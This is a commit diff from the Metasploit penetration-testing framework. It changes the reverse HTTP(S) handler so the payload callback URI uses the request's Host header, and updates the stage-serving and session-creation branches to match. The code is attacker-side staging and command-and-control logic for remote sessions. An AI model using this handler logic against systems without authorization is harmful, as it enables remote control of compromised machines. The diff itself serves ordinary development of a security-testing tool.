Skip to content

Commit 401d553

Browse files
committed
Use host header in reverse_http(s)
1 parent 215c209 commit 401d553

File tree

1 file changed

+11
-9
lines changed

1 file changed

+11
-9
lines changed

lib/msf/core/handler/reverse_http.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -92,13 +92,15 @@ def listener_uri
9292
# addresses.
9393
#
9494
# @return [String] A URI of the form +scheme://host:port/+
95-
def payload_uri
96-
if ipv6?
97-
callback_host = "[#{datastore['LHOST']}]"
95+
def payload_uri(req)
96+
if req and req.headers and req.headers['Host']
97+
callback_host = req.headers['Host']
98+
elsif ipv6?
99+
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
98100
else
99-
callback_host = datastore['LHOST']
101+
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
100102
end
101-
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
103+
"#{scheme}://#{callback_host}/"
102104
end
103105

104106
# Use the {#refname} to determine whether this handler uses SSL or not
@@ -186,7 +188,7 @@ def on_request(cli, req, obj)
186188
case uri_match
187189
when /^\/INITPY/
188190
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
189-
url = payload_uri + conn_id + '/'
191+
url = payload_uri(req) + conn_id + '/'
190192

191193
blob = ""
192194
blob << obj.generate_stage
@@ -221,7 +223,7 @@ def on_request(cli, req, obj)
221223

222224
when /^\/INITJM/
223225
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
224-
url = payload_uri + conn_id + "/\x00"
226+
url = payload_uri(req) + conn_id + "/\x00"
225227

226228
blob = ""
227229
blob << obj.generate_stage
@@ -249,7 +251,7 @@ def on_request(cli, req, obj)
249251

250252
when /^\/A?INITM?/
251253
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
252-
url = payload_uri + conn_id + "/\x00"
254+
url = payload_uri(req) + conn_id + "/\x00"
253255

254256
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
255257
resp['Content-Type'] = 'application/octet-stream'
@@ -294,7 +296,7 @@ def on_request(cli, req, obj)
294296
create_session(cli, {
295297
:passive_dispatcher => obj.service,
296298
:conn_id => conn_id,
297-
:url => payload_uri + conn_id + "/\x00",
299+
:url => payload_uri(req) + conn_id + "/\x00",
298300
:expiration => datastore['SessionExpirationTimeout'].to_i,
299301
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
300302
:ssl => ssl?,

0 commit comments

Comments
 (0)